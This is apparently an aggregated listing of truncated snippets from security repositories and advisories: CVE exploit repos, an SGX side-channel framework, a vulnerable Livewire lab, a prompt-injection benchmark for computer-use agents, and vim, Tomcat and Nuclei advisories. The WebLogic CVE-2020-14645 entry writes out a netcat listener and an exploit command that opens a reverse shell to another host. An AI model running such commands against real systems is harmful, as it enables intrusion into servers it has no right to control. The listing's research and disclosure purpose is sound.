Vanguard-Map

VANGUARD1 — マルチドメイン戦術インテリジェンスマップ 世界の動くものをリアルタイムで表示する3Dマップ：船舶のライブトラフィック（AIS）、航空機、 衛星、海底ケーブル、港湾、チョークポイント、宇宙天気 — これらを 150万点の地形クラウドとして描画し、昼夜の変化、海洋シミュレーション、映画的なカメラワークを備えています。 Three.jsとプレーンなESモジュールで構築。ビルドステップ不要、フレームワーク不要。 ▶ライブデモ — サインアップ不要です： 最初の画面でVIEW DEMO をクリックすると合成トラフィックを表示、または無料の...

sgx-step

精密なエンクレーブ実行制御のための実用的な攻撃フレームワーク SGX-Stepは、Intel x86プロセッサ全般、特にIntel SGXプラットフォームにおけるサイドチャネル攻撃研究を促進するためのオープンソースフレームワークです。SGX-Stepは、敵対的なLinuxカーネルドライバと、ユーザ空間から完全に信頼できないページテーブルエントリやx86 APICタイマ割り込みを設定できる小さなユーザ空間オペレーティングシステムライブラリで構成されています。SGX-Stepは、私たち自身の研究だけでなく、独立した研究者にも活用され、最大の時間分解能（つまり、被害エンクレーブを すべての...

AiSOC

AiSOC An open-source, self-hostable AI Security Operations Center. It ingests your security telemetry, detects and correlates threats, investigates them with AI agents whose reasoning is fully auditable, and proposes responses a human approves. Technical Guide PDF · Docs · Architecture · What...

CVE-2025-49113

CVE-2025-49113 RCE 漏洞利用 此漏洞利用中用户名/密码认证的方法分为 4 步 代码有点凌乱。...

StepJack

StepJack：针对多步间接提示注入的计算机使用智能体安全基准测试 环境配置 1. Python 环境配置 首先，安装所有依赖项，并确保你运行的是 Python 3.10。 conda create -n stepjack python=3.10 conda activate stepjack pip install -r requirements.txt 2. 沙箱环境配置 我们使用 RedTeamCUA 提供的 AWS 环境。 AWS 1. 配置 NETWORKINTERFACEMAP： 根据你自己的 AWS 实例，在 awsconfig.py 中配置...

cve-2025-21756

CVE-2025-21756 n-day 分析 Michael Hoefler 氏の解説記事に基づく CVE-2025-21756 の n-day 分析。 私のエクスプロイトは、スプレーステップとその他いくつかの細かい点で元のエクスプロイトと異なります。こちらにあります。...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 Python用EXP（ワンステップで完了） 使用方法: Python3 exploit.py -t -c ヒント: エコーなし 例： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' すると、シェルを取得できます。...

WordPress 12 Step Meeting List Plugin <= 3.14.33 - Cross-Site Scripting

Code for Recovery 12 Step Meeting List versions up to 3.14.33 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft a malicious URL. id:...

CVE-2025-71405 vulnerabilities

Vulnerabilities for packages: step-issuer-fips, sftpgo, step, step-ca, telegraf, caddy, step-issuer, cloudflared, tkn-fips, dapr, rclone-fips, karma, kyverno-policy-reporter-ui, buf, tkn, dapr-fips, gogatekeeper, caddy-fips, rclone, gitness, kyverno-policy-reporter-ui-fips, step-ca-fips, step-fip...

GHSA-XCVF-46F4-XWXF vulnerabilities

Vulnerabilities for packages: step-issuer-fips, sftpgo, step, step-ca, telegraf, caddy, step-issuer, cloudflared, tkn-fips, dapr, rclone-fips, karma, kyverno-policy-reporter-ui, buf, tkn, dapr-fips, gogatekeeper, caddy-fips, rclone, gitness, kyverno-policy-reporter-ui-fips, step-ca-fips, step-fip...

GHSA-XCVF-46F4-XWXF vulnerabilities

Vulnerabilities for packages: caddy, sftpgo, step, step-issuer, step-ca, tkn, cloudflared, gogatekeeper, karma, buf, kyverno-policy-reporter-ui, gitness, rclone...

CVE-2025-71405 vulnerabilities

Vulnerabilities for packages: caddy, sftpgo, step, step-issuer, step-ca, tkn, cloudflared, gogatekeeper, karma, buf, kyverno-policy-reporter-ui, gitness, rclone...

secdim-assurance-drift-challenge

SecDim 挑战构建器复现 — 保障级别漂移 针对一个受 CVE-2026-88861 启发的拟议安全挑战的可运行复现，发布于 2026 年 9 月 10 日。 安全概念 该应用正确地验证了签名会话，并正确地检查了 admin 角色，但它将两个独立的安全属性混为一谈：身份/角色 与 认证保障级别 。一个仅使用密码的 aal1 会话可以调用一个特权凭据创建路径，而该路径本应要求升级 MFA（aal2）。由此产生的应用范围管理员密钥是持久的，并且在原始会话注销后仍然可用。 这模拟了发生在 授权边界 上的真实 MFA 绕过失败，而不是签名损坏或令牌伪造。 可运行复现 go test -v...

Rocky Linux 9 [CIQ] Security Update: vim-X11 / vim-X11-debuginfo / vim-common / vim-common-debuginfo / etc Multiple Vulnerabilities (crlsa-2026_38511)

The Rocky Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202638511 advisory. vim: command injection when decompressing .tgz archives CVE-2026-46483 vim: Vim: Arbitrary Code Execution via crafted directory names CVE-2026-47162 vim:...

Rocky Linux 10.2 [CIQ] Security Update: vim-X11 / vim-X11-debuginfo / vim-common / vim-data / vim-debuginfo / etc Multiple Vulnerabilities (crlsa-2026_38509)

The Rocky Linux 10.2 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202638509 advisory. vim: command injection when decompressing .tgz archives CVE-2026-46483 vim: Vim: Arbitrary Code Execution via crafted directory names CVE-2026-47162 vi...

CVE-2026-54520

CVE-2026-54520 ai-agent-automation 工作流文件步骤中的路径遍历漏洞，允许在预期目录之外进行读/写操作。 主要公告： GHSA-cm8g-8jfq-887p 研究人员署名： @chaitanyagarware 概览 字段| 值 ---|--- CVE| CVE-2026-54520 GHSA| GHSA-cm8g-8jfq-887p 项目| vmDeshpande/ai-agent-automation 软件包| backend 生态系统| npm 严重性| 高 CVSS| 8.1,...

CVE-2025-54068-livewire

CVE-2025-54068 - Livewire v3.6.3 漏洞实验室 此文件夹构建了一个极简的 Laravel + Livewire v3 应用程序，固定使用 Livewire 3.6.3 （易受攻击的版本），用于复现 CVE-2025-54068 。 挂载的组件被有意编写为与公开的漏洞利用链兼容（它允许第 1 阶段的强制类型转换为数组步骤）。 快速开始 docker compose up -d --build 打开： http://localhost:18081/ 验证（安全 PoC） 这会运行一个类似于公开漏洞利用链的两步请求序列，但使用一个带内标记 （echo）作为安全证明...

CentOS Linux 7 [TuxCare] Security Update: tomcat / tomcat-admin-webapps / tomcat-docs-webapp / etc (CENTOS7:CLSA-2026:1783591320)

The CentOS Linux 7 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS7:CLSA-2026:1783591320 advisory. - Missing Critical Step in Authentication vulnerability in Apache Tomcat when the JNDIRealm was configured to authenticate binds using GSSAPI...

CVE-2026-76805 Nuclei: Environment Variable Disclosure via Response-Derived Data in DAST/Fuzz Mode

Nuclei is a vulnerability scanner built on a simple YAML-based DSL. From 3.0.0 until 3.10.0, the DAST/fuzz payload path in pkg/fuzz/parts.go can evaluate substituted runtime data more than once, creating a second evaluation pass that allows response content captured by an internal: true extractor...

vim: Vim: Arbitrary code execution via crafted step-definition patterns

A flaw was found in Vim, a command-line text editor. This vulnerability, identified as a code injection, affects the cucumber filetype plugin when Vim is configured with Ruby support. An attacker could exploit this by creating a malicious repository containing specially crafted step-definition...